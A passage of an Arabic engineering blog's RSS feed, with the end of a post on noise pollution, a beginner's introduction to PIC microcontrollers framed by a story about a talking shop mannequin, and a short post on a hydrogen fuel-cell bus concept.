<p>و للصوت معنيين أولها معنى فسيولوجي  لأن إدراكنا للصوت يتوقف على   قدرة جهازنا العصبي على استقباله و تحليله و هناك أصوات لا نستطيع سماعها ,   و المعني الثاني فيزيائي و يقصد به تلك الموجات التي نعرفها بالصوت بغض   النظر عن وجود مستقبل لها او عدم وجوده</p>
<p>و الآذن البشرية تستطيع أدراك الأصوات التي تتراوح  بين 17 إلى 2000   ذبذبة في الثانية , و في الطبيعة يوجد أصوات اقل و أعلى من هذين الترددين و   يعرفان بالفوق و التحت الصوتية .</p>
<p>و هناك مجموعة من الإجراءات يمكن اتخاذها لمكافحة التلوث الضوضائي   مثل تخطيط المدن مع الاحتفاظ بالغطاء الأخضر لأن الأشجار تمتص نسبة كبيرة   من الأصوات بالإضافة إلى ان تكون الشوارع متسعة لتخفيف الازدحام و نواتجه   من ضوضاء و غيرها , كما يمكن تحسين الوضع التقني للأجهزة التي تصدر عنها   ضوضاء</p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2982&amp;linkname=%D8%A7%D9%84%D8%AA%D9%84%D9%88%D8%AB%20%D8%A7%D9%84%D8%B6%D9%88%D8%B6%D8%A7%D8%A6%D9%8A" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2982&amp;linkname=%D8%A7%D9%84%D8%AA%D9%84%D9%88%D8%AB%20%D8%A7%D9%84%D8%B6%D9%88%D8%B6%D8%A7%D8%A6%D9%8A" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2982&amp;linkname=%D8%A7%D9%84%D8%AA%D9%84%D9%88%D8%AB%20%D8%A7%D9%84%D8%B6%D9%88%D8%B6%D8%A7%D8%A6%D9%8A" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2982&amp;linkname=%D8%A7%D9%84%D8%AA%D9%84%D9%88%D8%AB%20%D8%A7%D9%84%D8%B6%D9%88%D8%B6%D8%A7%D8%A6%D9%8A" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2982&amp;linkname=%D8%A7%D9%84%D8%AA%D9%84%D9%88%D8%AB%20%D8%A7%D9%84%D8%B6%D9%88%D8%B6%D8%A7%D8%A6%D9%8A" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2982/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>الفتاة الفاتنة.. والمتحكمات الدقيقة</title>
		<link>http://www.handsah.net/archives/2965</link>
		<comments>http://www.handsah.net/archives/2965#comments</comments>
		<pubDate>Fri, 29 Oct 2010 11:48:43 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[أبحاث]]></category>
		<category><![CDATA[إلكترونيات]]></category>
		<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[الهندسة]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[الهندسة الكهربائية]]></category>
		<category><![CDATA[هندسة الحاسوب]]></category>
		<category><![CDATA[PIC16F84]]></category>
		<category><![CDATA[المتحكمات الدقيقة]]></category>
		<category><![CDATA[المعالجات الدقيقة]]></category>
		<category><![CDATA[مايكروكونترولر]]></category>
		<category><![CDATA[مبرمجة مايكروبروسيسور]]></category>
		<category><![CDATA[مشاريع مايكروكونترولر]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2965</guid>
		<description><![CDATA[كانت ممشوقة القامة، عيناها زرقاوان، وشعرها الأسود الطويل يتدلى بانسياب على كتفيها. لم تكن كغيرها [...]]]></description>
			<content:encoded><![CDATA[<div><a href="http://www.handsah.net/wp-content/uploads/2010/10/doll2.jpeg"><img class="alignright size-full wp-image-2977" title="doll2" src="http://www.handsah.net/wp-content/uploads/2010/10/doll2.jpeg" alt="" width="375" height="500" /></a>كانت ممشوقة القامة، عيناها زرقاوان، وشعرها الأسود الطويل يتدلى  بانسياب على كتفيها. لم تكن كغيرها من الفتيات، فلقد كانت فاتنة بحق! كانت  تجلس في أحد المجمعات التجارية الشهيرة قرب إحدى محلات الماركات المعروفة،  ورائحة العطر الفواحة تملأ المكان. كانت تتمايل برأسها برفق تنظر إلى أعين  المارة بالقرب منها. ولسوء حظ صاحبنا <strong>عزام </strong>أنه كان في ذلك اليوم مارا من ذلك المجمع التجاري، وصادف مروره ذلك المحل الذي تقف الفاتنة عند بابه..حينها لم يتمالك عزام نفسه <img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" />وحاول  الاقتراب منها، لعله يتمكن من التعرف على تلك الفاتنة. وقبل أن يقترب أبطأ  في خطواته، ووضع يده على مقدمة رأسه وقطب جبينه وبدأ يفكر بصوت مرتفع  قائلا: هل هذه الفتاة حقيقة؟ أم أنها من نسج الخيال؟  يالجمالها <img src='http://www.handsah.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  كان  عزام حينها يرتدي حذاءه المتواضع ومعطفا جلديا أسود اللون، ويحمل جواله  الآي فون 4 متباهيا به لعله يلفت انتباه الفاتنة. لكن هيهات! فتلك الفاتنة  أبعد ماتكون عن تلك المظاهر الخداعة..تابع عزام السير بخطوات  واثقة..وراودته نفسه أن يحادث تلك الفتاة،  وبالفعل، ما إن اقترب منها حتى  طأطأ رأسه وانحنى قليلا وهمس في أذنها قائلا: ممكن نتعرف؟</div>
<p>حركت الفتاة رأسها والتفتت إلى عزام  بشكل مريب ورمقته بنظرات غريبة  بعينيها المتسعتين..وبدت حينها أصوات أجهزة ميكانية وتروس غريبة ..وماهي  إلا لحظات حتى نطقت الفاتنة بصوت كمبيوتري: أهلا وسهلا بك..تفضل  بزيارتنا&#8230; <img src='http://www.handsah.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>وياللهول..ياللفضيحة..بدأ عزام يهذي مع نفسه. فتلك الفتاة لم تكن سوى  مجرد دمية وضعت لجذب أنظار الزبائن للمحل. احمر وجه عزام&#8230;وأحس بأن الأرض  تجثو على صدره من هول ذلك الموقف المحرج. ومن ثم تبسم ضاحكا مستغربا وسأل  نفسه: من الذي حرك تلك الفتاة وأعلمها بوجودي وجعلها تتحدث؟</p>
<p>تعالوا لنتعرف اليوم على سر تلك الفتاة الذي جعلها تنطق وتحرك رأسها.</p>
<p>نتناول في تدوينتنا لهذا اليوم ما يعرف بـالمتحكمات الدقيقة أو  المعالجات الصغرية. وسنجيب عن أسئلة عديدة منها: ماهي تلك المتحكمات  الدقيقة؟ وكيف يمكننا تعلم تنفيذ المشاريع من خلالها؟</p>
<p>المتحكمات الدقيقة <strong>µC</strong>, <strong>uC</strong> or <strong>MCU</strong> هي عبارة عن قطع  إلكترونية شبه موصلة تسمى معالجا دقيقا فهي تعالج معلومات معينة لتتخذ بناء  عليها قرارات، وتحوي داخلها بوابات منطقية ومداخل ومخارج رقمية وتماثلية،  فيمكنكم تخيلها أنها تشبه المعالج الموجود في جهاز الحاسب الآلي لديكم أو  الآلة الحاسبة. وبداخل ذلك المتحكم المئات أو الآلاف أحيانا من  الترانزستورات. تستخدم المتحكمات في العديد من التطبيقات الصناعية  والمنزلية واليومية: كأجهزة المحمول، الكاميرات، الخ. بدأ ظهورها في نهاية  الستينيات من القرن الماضي ومع مطلع السبعينيات، حينئذ احتل المتحكم <a href="http://en.wikipedia.org/wiki/Intel_MCS-51" target="_blank">8051 </a>من  شركة انتل الصدارة في الأسواق. يتكون المتحكم من عناصر رئيسية يمكن  اعتبارها الأعمدة الرئيسة لوصف أي متحكم، وهي: وحدة المعالجة والحساب،  الذاكرة العشوائية، مجموعة من المداخل والمخارج، ناقل تسلسلي لينقل  البيانات بين مكونات المتحكم. يقوم المتحكم بشكل مبسط بمعالجة مدخل معين:  حساس ضوء مثلا ويتخذ قرارا بفتح بوابة منطقية معينة عند حساسية ضوء معينة  وكل ذلك بناء على مجموعة تعليمات مخزنة على شكل برنامج  داخل المتحكم. وسبب  التسمية بالمتحكم لأن لديه القدرة على التحكم في مخارجه بناء على تعليمات  أو برنامج مخزن داخل ذاكرته. وسمي دقيقاً لأن حجمه صغير جداً.</p>
<p>ويمكن توضيح البنية الداخلية للمتحكم كما هو واضح في المثال أدناه وهو لمتحكم من شركة شهيرة تسمى ميكروشيب:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/10/pic.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/10/pic.jpg" alt="" width="512" height="366" /></a></p>
<p>فالشكل  أعلاه يوضح وجود العناصر التي تحدثنا عنها متداخلة مع بعضها ويربط بينها  الناقل التسلسلي العام. وأخيرا يجب أن نعرف أن المتحكم يعمل عن طريق مذبذب  خاص متصل به خارجيا هو بمثابة القلب النابض الذي لايمكن للمتحكم أن يعمل  دونه. وعادة مايكون ذلك المذبذب هو كريستالة ذات تردد معين، ولكل متحكم  تردد خاص يعمل ضمنه، وبطريقة أخرى له سرعة خاصة به كما هو الأمر بالنسبة  للحاسب. وتتراوح السرعات من الكيلو هرتز وحتى الميجا هرتز.</p>
<p><strong><span style="color: #0000ff;">كيف يمكن السيطرة على هذا المتحكم؟ أي من الذي يعلمه التحكم وإصدار الأوامر؟</span><br />
</strong></p>
<p>يتم ذلك من خلال كتابة شيفرة أو برنامج خاص ليتم تخزينه داخل ذاكرة المتحكم، ومن ثم يتم تنفيذ تعليماته ليتصرف المتحكم بناء عليها.</p>
<p><strong><span style="color: #0000ff;">تعني أنه يجب برمجة المتحكم بواسطة كتابة برنامج..حسنا، وبأي لغة برمجية؟ وماهو عدد الأوامر؟</span><br />
</strong></p>
<p>المتحكم هو  قطعة إلكترونية وبالتالي فلن يفهم اللغات البرمجية التي نعرفها كلغة السي  أو الدوت نت، فهو يتعامل مع واحد أو صفر منطقي. فلابد قبل تخزين البرنامج  في المتحكم أن يكون هناك مفسر أو مترجم ليقوم بتحويل هذا البرنامج الذي  نكتبه إلى لغة الآلة. ذلك يعني أن المتحكم الدقيق لن يكترث حقيقة باللغة  التي كتب بها البرنامج فكل ما يهمه أن تصله تلك التعليمات بلغة الآلة. لذلك  يمكننا كتابة البرنامج بأي لغة شئنا شريطة أن يكون لدينا مفسر أو مترجم  يحول ذلك البرنامج للغة الآلة. أما عن عدد الأوامر فذلك يعتمد على نوعية  المتحكم الذي نستخدمه وبنيته الداخلية ويمكن معرفة ذلك من خلال قراءة ملف  المواصفات الفنية للمتحكم.</p>
<p><span style="color: #0000ff;"><strong>حسنا ، وكيف يتم نقل البرنامج إلى المتحكم؟ هل هناك جهاز خاص سينقل الكود من الحاسب مثلا للمتحكم؟</strong></span></p>
<p>هناك جهاز  يسمى المبرمجةProgrammer ، وهو عبارة عن قطعة إلكترونية يتم توصيلها  بالحاسب الآلي عن طريق أحد المنافذ كمنفذ الناقل التسلسلي العالمي USB أو  أي منفذ آخر. ومن ثم هناك برنامج خاص يكون مرفقا مع المبرمجة ليتمكن من  مخاطبتها لتقوم بنقل الكود للمتحكم. والجدير بالذكر أنه يمكن شراء هذه  المبرمجات من أماكن بيع القطع الإلكترونية وهي ذات أنواع وأشكال متعددة،  فمنها ما يبرمج متحكمات خاصة بشركة معينة أو شركتين، ومنها ما هو متقدم وله  القدرة على برمجة أحجام مختلفة. كما يمكننا بناء المبرمجة الخاصة بنا  يدويا دون الحاجة لشراءها. لكنها بالتأكيد ستكون محدودة القدرات إلا أنها  رخيصة الثمن. وإليكم شكل إحدى المبرمجات وكما يظهر في الصورة فإنها متصلة  بالحاسب ولها فتحات لإدخال المتحكم ليتم التخاطب معه وتحميل البرنامج.  وإليكم <a href="http://muslimlead.com/wp-content/uploads/2010/10/pg5v2r8.zip">دارة المبرمجة</a> لصنع مبرمجة خاصة بكم منزليا والتي تتميز بأنها لاتحتاج لمصدر طاقة خارجي  فهي تستخدم الناقل التسلسلي كمصدر للطاقة وتختص هذه الدارة ببرمجة متحكمات  شركة <a href="http://www.microchip.com/" target="_blank">ميكروشيب</a>.</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/10/%D9%85%D8%A8%D8%B1%D9%85%D8%AC%D8%A9.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/10/%D9%85%D8%A8%D8%B1%D9%85%D8%AC%D8%A9.jpg" alt="" width="562" height="258" /></a></p>
<p><span style="color: #0000ff;"><strong>إذا هاقد عرفنا  المبرمجة و المتحكم ولدينا البرنامج المفسر ولغة برمجة ماذا بعد ذلك؟</strong></span></p>
<p>للقيام  بالبرمجة لابد من تجهيز المتحكم ليكون قادرا على استقبال الأوامر والدخول  ضمن حالة البرمجة. والتي تتم عن طريق إعداد المتحكم خارجيا بواسطة المنافذ  الخاصة به بوصلها بجهود معينة.</p>
<p><span style="color: #0000ff;"><strong>وكم تستغرق عملية البرمجة؟</strong></span></p>
<p>مجرد ثوان إذا كان البرنامج جاهزا والمتحكم مجهزا لاستقبال الشفرة.</p>
<p><strong><span style="color: #0000ff;">ماهي أشهر المتحكمات التي يستخدمها الهواة؟ ومن أي شركة؟ وكيف يمكنني اختيار متحكم دقيق؟</span><br />
</strong></p>
<p>الأمر متروك  للمصمم، فذلك يعتمد في نهاية الأمر على خبرة المصمم والتطبيق الذي هو بصدد  صنعه. فليس هناك متحكم سحري يلبي متطلبات كافة التطبيقات، فلكل تطبيق منتج  معين مناسب له. وبشكل عام، إذا كنت مبتدئاً فأنصحك أن تبدأ بمتحكمات شركة <a href="http://www.microchip.com/" target="_blank">Microchip </a>وذلك  كونها متوفرة بكثرة في الأسواق، ولها دعم هائل ومشاريع مجانية عديدة.  والجدير بالذكر أن هناك العديد من المنافسين على الساحة مثل شركة إنتل،  شركة تكساس انسترومنتس، شركة أنالوج وغيرها.</p>
<p><span style="color: #0000ff;"><strong>هل هناك رقم خاص لمتحكم معين من شركة ميكروشيب؟</strong></span></p>
<p>نعم، كبداية أنصحك باستخدام <a href="ww1.microchip.com/downloads/en/devicedoc/35007b.pdf " target="_blank">PIC16F84</a></p>
<p><span style="color: #0000ff;"><strong>ولم هذا الرقم تحديدا؟</strong></span></p>
<p>عدد أوامره  بسيط فيمكن برمجته بسهولة، وسعره زهيد وعدد مداخله ومخارجه قليلة ويمكن فهم  تعليماته بسهولة كما أنه له العديد من المشاريع المجانية المتوفرة على  الشبكة العنكبوتية.</p>
<p><strong><span style="color: #0000ff;">حسنا، وكيف يمكن تشغيل هذا المتحكم؟ ما هو فرق الجهد الخاص به؟</span><br />
</strong></p>
<p>لكل متحكم  دقيق فرق جهد خاص به، ويذكر ذلك في ملف المواصفات الفنية الخاصة بالمتحكم.  فبعضها يعمل بواسطة 3.3فولت وبعضها عن طريق 5فولت.</p>
<p>وسيم..كفانا حديثا..نريد مشاهدة فيديو يلخص أهم تلك النقاط التي ذكرتها..</p>
<p>تعالوا نشاهد هذا الفيديو:</p>
<p><object width="500" height="400"><param name="movie" value="http://www.youtube.com/v/jKT4H0bstH8?fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/jKT4H0bstH8?fs=1" type="application/x-shockwave-flash" width="500" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span style="color: #0000ff;"><strong>هل هناك تطبيقات يمكنني الاستفادة منها كهاو للمتحكمات وتكون بسيطة في نفس الوقت؟</strong></span></p>
<p>بكل تأكيد،  فيمكنك على سبيل المثال أن تبرمج متحكما ليعمل على إضاءة مجموعة من  الثنائيات الضوئية بطريقة معينة بكل سهولة. أو أن تقوم ببرمجته ليتحسس درجة  الحرارة ويصدر تنبيها عند حد معين. وعشرات التطبيقات الأخرى المنتشرة في  المنتديات الأجنبية</p>
<p><span style="color: #0000ff;"><strong>نأتي للسؤال المهم: أين نجد هذا المتحكم؟ وكم يبلغ سعره؟</strong></span></p>
<p>يمكنكم  شراؤه من محلات بيع القطع الإلكترونية وينبغي أن تطلبوا من البائع رقما  معينا فهي عديدة وكما ذكرت لكم يمكنكم البدء بمتحكم PIC16F84 وسعره زهيد  جدا لا يتعدى اليورو الواحد</p>
<p><span style="color: #0000ff;"><strong>هل لديك دارة أو تطبيق بسيط كي نبدأ به؟</strong></span></p>
<p>تفضلوا هذه <a href="http://www.ivica-novakovic.from.hr/Nokia%20Lcd%20Termometar-eng.htm" target="_blank">الدارة </a>التي تتحس الحرارة وتعرضها على شاشة بللورية كريستالية LCD لجوال نوكيا قديم</p>
<p><span style="color: #0000ff;"><strong>نصيحة أخيرة:</strong></span></p>
<p>أطلب من كل هاو أن يبدأ بهذا <a href="http://www.mikroe.com/eng/products/view/409/mikrobasic-for-pic/" target="_blank">الموقع</a> المميز كي يتعلم الأساسيات بطريقة احترافية أو الرجوع <a href="http://www.qariya.com/vb/forumdisplay.php?f=76" target="_blank">لمنتدى القرية الإلكترونية</a></p>
<p>الآن هاقد  عرفنا المتحكمات، وحان الوقت للكشف عن السر الذي جعل تلك الفتاة تتحرك  وتتحدث، فهي مجرد دمية إلا أنه يوجد بداخلها متحكم دقيق قادر على تحسس وجود  أشخاص بالقرب منها ويستطيع تحريكها بناء على تلك المدخلات.</p>
<p><strong>قائمة المصادر:</strong></p>
<p>1. <a href="http://www.hamradioindia.org/circuits/feng.php" target="_blank">هام راديو</a></p>
<p>2. <a href="http://www.mikroe.com/eng/products/view/409/mikrobasic-for-pic/" target="_blank">مايكرو إلكترونيكا</a></p>
<p>3. <a href="http://www.ke4nyv.com/picprojects.htm" target="_blank">مشاريع </a></p>
<p>4. <a href="http://www.qariya.com/vb/forumdisplay.php?f=76" target="_blank">منتدى القرية</a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2965&amp;linkname=%D8%A7%D9%84%D9%81%D8%AA%D8%A7%D8%A9%20%D8%A7%D9%84%D9%81%D8%A7%D8%AA%D9%86%D8%A9..%20%D9%88%D8%A7%D9%84%D9%85%D8%AA%D8%AD%D9%83%D9%85%D8%A7%D8%AA%20%D8%A7%D9%84%D8%AF%D9%82%D9%8A%D9%82%D8%A9" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2965&amp;linkname=%D8%A7%D9%84%D9%81%D8%AA%D8%A7%D8%A9%20%D8%A7%D9%84%D9%81%D8%A7%D8%AA%D9%86%D8%A9..%20%D9%88%D8%A7%D9%84%D9%85%D8%AA%D8%AD%D9%83%D9%85%D8%A7%D8%AA%20%D8%A7%D9%84%D8%AF%D9%82%D9%8A%D9%82%D8%A9" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2965&amp;linkname=%D8%A7%D9%84%D9%81%D8%AA%D8%A7%D8%A9%20%D8%A7%D9%84%D9%81%D8%A7%D8%AA%D9%86%D8%A9..%20%D9%88%D8%A7%D9%84%D9%85%D8%AA%D8%AD%D9%83%D9%85%D8%A7%D8%AA%20%D8%A7%D9%84%D8%AF%D9%82%D9%8A%D9%82%D8%A9" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2965&amp;linkname=%D8%A7%D9%84%D9%81%D8%AA%D8%A7%D8%A9%20%D8%A7%D9%84%D9%81%D8%A7%D8%AA%D9%86%D8%A9..%20%D9%88%D8%A7%D9%84%D9%85%D8%AA%D8%AD%D9%83%D9%85%D8%A7%D8%AA%20%D8%A7%D9%84%D8%AF%D9%82%D9%8A%D9%82%D8%A9" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2965&amp;linkname=%D8%A7%D9%84%D9%81%D8%AA%D8%A7%D8%A9%20%D8%A7%D9%84%D9%81%D8%A7%D8%AA%D9%86%D8%A9..%20%D9%88%D8%A7%D9%84%D9%85%D8%AA%D8%AD%D9%83%D9%85%D8%A7%D8%AA%20%D8%A7%D9%84%D8%AF%D9%82%D9%8A%D9%82%D8%A9" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2965/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>بيتر سايمون : حافلة إل – كريدو</title>
		<link>http://www.handsah.net/archives/2910</link>
		<comments>http://www.handsah.net/archives/2910#comments</comments>
		<pubDate>Fri, 22 Oct 2010 08:34:11 +0000</pubDate>
		<dc:creator>جميل أغباريه</dc:creator>
				<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[الطاقة الخضراء]]></category>
		<category><![CDATA[هندسة السيارات]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2910</guid>
		<description><![CDATA[إل – كريدو هو عبارة عن حافلة مبنية من هيكل عظمي متين ويأتي مفهوم هذه [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/eb1.jpg"><img class="alignright size-medium wp-image-2911" src="http://www.handsah.net/wp-content/uploads/2010/10/eb1-300x181.jpg" alt="" width="300" height="181" /></a></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span lang="AR-SA">إل </span><span lang="AR-SA">–</span><span lang="AR-SA"> كريدو هو عبارة عن حافلة مبنية من هيكل عظمي متين ويأتي مفهوم هذه المركبة من المصمم الهنغاري بيتر سايمون , حيث تستخدم هذه الحافلة الطاقة المدعومة من </span><span><span lang="AR-SA">خلايا وقود</span></span><span> </span><span><span><span> </span> </span></span><span><span lang="AR-SA">الهيدروجين</span></span><span> </span><span><span><span> </span> </span></span><span><span lang="AR-SA">وهي التي تنتج الكهرباء من خلال تفاعل كهربائي كيميائي باستخدام الهيدروجين</span></span><span> </span><span><span><span> </span> </span></span><span><span lang="AR-SA">والأوكسجين .</span></span><span lang="AR-SA"> </span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span lang="AR-SA">تصميم هذه الحافلة جاء من فكرة جعل نسبة الإنبعاثات الصادرة من هذه الحافلة تساوي صفر </span><span><span lang="AR-SA">وذلك بفضل خلايا الهيدروجين وتخزين الطاقة في</span></span><span><br />
</span><span> </span><span lang="AR-SA"><span>شكل بطاريات ليثيوم التي ستكون على سطح الحافلة .</span></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA">يتم وضع المحركات الكهربائية في كل</span></span><span lang="AR-SA"> <span>من أربعة محاور</span></span> , حيث كل عجلة تحتوي على محرك واحد ويتم التحكم فيها من مقصورة القيادة.</p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA">هيكل الحافلة مصنوع من سلسلة من</span></span><span lang="AR-SA"> <span>مواد خفيفة الوزن بما في ذلك عدد من البلاستيك المركب</span></span> .</p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA">جاء أسم هذه الحافلة ليشير بشكل مباشر إلى</span></span><span lang="AR-SA"> ال<span>مركبات المجهزة بسلاسل دفع الكهربائية ، وأيضا في تصميم أشكال العضوية مثل هيكل عظمي</span></span><span> </span><span><span><span> </span>.</span></span><span><span lang="AR-SA"> </span></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA">المصدر : </span></span><a href="http://www.designboom.com/weblog/cat/16/view/11893/peter-simon-credo-e-bone-bus.html"><span>http://www.designboom.com/weblog/cat/16/view/11893/peter-simon-credo-e-bone-bus.html</span></a></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><a href="http://www.handsah.net/wp-content/uploads/2010/10/eb2.jpg"><img class="alignright size-full wp-image-2912" src="http://www.handsah.net/wp-content/uploads/2010/10/eb2.jpg" alt="" width="730" height="552" /></a></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><a href="http://www.handsah.net/wp-content/uploads/2010/10/eb3.jpg"><img class="alignright size-full wp-image-2913" src="http://www.handsah.net/wp-content/uploads/2010/10/eb3.jpg" alt="" width="730" height="552" /></a></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><a href="http://www.handsah.net/wp-content/uploads/2010/10/eb4.jpg"><img class="alignright size-full wp-image-2914" src="http://www.handsah.net/wp-content/uploads/2010/10/eb4.jpg" alt="" width="730" height="269" /></a></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><a href="http://www.handsah.net/wp-content/uploads/2010/10/eb5.jpg"><img class="alignright size-full wp-image-2915" src="http://www.handsah.net/wp-content/uploads/2010/10/eb5.jpg" alt="" width="730" height="552" /></a></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
